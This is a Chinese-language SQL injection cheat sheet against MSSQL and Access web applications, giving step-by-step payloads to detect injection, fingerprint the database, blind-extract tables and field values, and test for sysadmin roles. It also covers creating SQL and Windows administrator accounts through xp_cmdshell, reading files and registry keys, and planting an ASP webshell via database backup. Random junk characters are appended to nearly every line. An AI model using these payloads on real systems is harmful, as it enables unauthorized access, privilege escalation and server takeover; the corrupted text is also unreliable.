1.判断是否有注入;and 1=1 ;and 1=2 J)G3Kq5>:b
2.初步判断是否是mssql ;and user>0 Z\L@5.*ydE
l<HRD
3.注入参数是字符'and [查询条件] and ''=' C:K\-P9
##5/%#eZ
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Y]lqtre*Y
D=\|teA&
5.判断数据库系统 6a@~;!GlI
BNy"YK$
;and (select count(*) from sysobjects)>0 mssql 4W?<hv+k7*
WAa?$"U2
;and (select count(*) from msysobjects)>0 access Y;w]u_
}-vBRY
y(dS1.5F
Z~uKT n
6.猜数据库 ;and (select Count(*) from [数据库名])>0 br;G5^j3?
]M2<I#hF.
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ./
:86@O
]/bE${W*]
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 i#lo?\PO>
ypd?mw&1}
9.(1)猜字段的ascii值(access) 4yA`);r62
6+5Catsn
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 V!P3CNK
]Rye AJ3
(2)猜字段的ascii值(mssql) AAW7@\q.
6:,^CI|@t
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 j+9
S
R]Oy4U,f
10.测试权限结构(mssql) W'jXIO
OGFKc#
!.9vW&t
[FL I+;gY
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,
.I^ekF
2UF94
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- mc'p-orAf
@"!SU'*
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ]Yg EnZ
5avO48;Vc
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
u\xm8}A
`$H
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- !`_f\
=dBrmMh
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- HWhKX:`l
a,~P_B|@
;and 1=(select IS_MEMBER('db_owner'));-- m'tk#C
Elp!,(+&6
hBhkb ~Oky
6\;1<Sw*
11.添加mssql和系统的帐户 ra>`J_
.LhmYbQ2WE
;exec master.dbo.sp_addlogin username;-- CiI:
uU
;exec master.dbo.sp_password null,username,password;-- _w;+Jh
:Y>]6
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- At(9)6n8
[QbXj0en$
;exec master.dbo.xp_cmdshell 'net user username password .Qt3!ek
gN(hv.nQ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- c0&'rxi(B
v|@n8ED|@K
;exec master.dbo.xp_cmdshell 'net user username password /add';-- C8:"+;
YZRB4T9
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- wF8\
6ZpcT&yL
)|R9mW=k9P
~C/KA6H
12.(1)遍历目录 od1omYsR
1`lFF_stkP
;create table dirs(paths varchar(100), id int) UwkX[u
^4pKsO3ul
;insert dirs exec master.dbo.xp_dirtree 'c:\' o2 d~
suFOc
;and (select top 1 paths from dirs)>0 T''+zk
Ts .Zl{B
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) j7#GqVS'
i@5%d!J
c)MR+'d\WO
]Cn*C{
(2)遍历目录 [IFRwQ^%_O
X'7S|J6s
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- jHH
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 O/9%"m:i
WG
!t!1p
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 rs Uw(K^
Us,[x Q
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 JjLyV`DJ
>x
ghq
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 PbUcbb17
:ZS8Zm"
sLdUrD%
3C=clB9<
13.mssql中的存储过程 Ln2C#Uf
t *
vg]Yc
xp_regenumvalues 注册表根键, 子键 Sn2Ds)Pfx3
qMES<UL>
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 gH^$Y~Lx
xeM':hD.o
xp_regread 根键,子键,键值名 IXvz&4VD
|4.o$*0Y
;exec xp_regread ASZ5;N4u
KM}4^Qc
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 )]>G,.9C}
QYfAf3te
xp_regwrite 根键,子键, 值名, 值类型, 值 ~}-p5 q2
'0')6zW5s
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 c48J!,jCd'
%;(|KrUN
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 _~ZQ b
xPMyG);
xp_regdeletevalue 根键,子键,值名 BX(d"z b<
?ZHE8
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 N~;
khS]
9LO.8Jy
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Cxk$"_
L\Fu']l
MAe<.DHY
]Uu(OI<)
14.mssql的backup创建webshell .\~P -{Hd
R g0
XW6
use model \W`} L
J'ZFIT_>
create table cmd(str image); FW)^O%2s
I0w@S7
insert into cmd(str) values (''); ?[S
>&Vq
@SC-vc
backup database model to disk='c:\l.asp'; _A,-[*OKI
0^y@p&;/.
$;2eH
L);||]B
15.mssql内置函数 VyoE5o
()C^ta_]
;and (select @@version)>0 获得Windows的版本号 g)9JO6]
K rr?`n
;and user_name()='dbo' 判断当前系统的连接用户是不是sa }.MoDR3\
oBj>9I;
;and (select user_name())>0 爆当前系统的连接用户 P10p<@?
E]H
;and (select db_name())>0 得到当前连接的数据库 tC?Aso
1( ?CNW[
}^pQbFku
n-y^7'v
16.简洁的webshell iijd$Tv
-?aw^du
use model yF/< :
-.b
I o
create table cmd(str image);
HTUYvU*-
W7*_ T]
insert into cmd(str) values (''); ^3WIl]
%on9C`/
backup database model to disk='g:\wwwtest\l.asp';